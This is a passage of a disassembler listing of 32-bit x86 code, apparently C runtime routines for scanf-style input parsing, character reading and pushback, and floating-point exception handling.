loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C328
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C534
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C534, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C534, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C534, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C534, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C328
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C328
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C534, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C328
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CCA0, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB2A8, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CCA0, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 26703DBh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
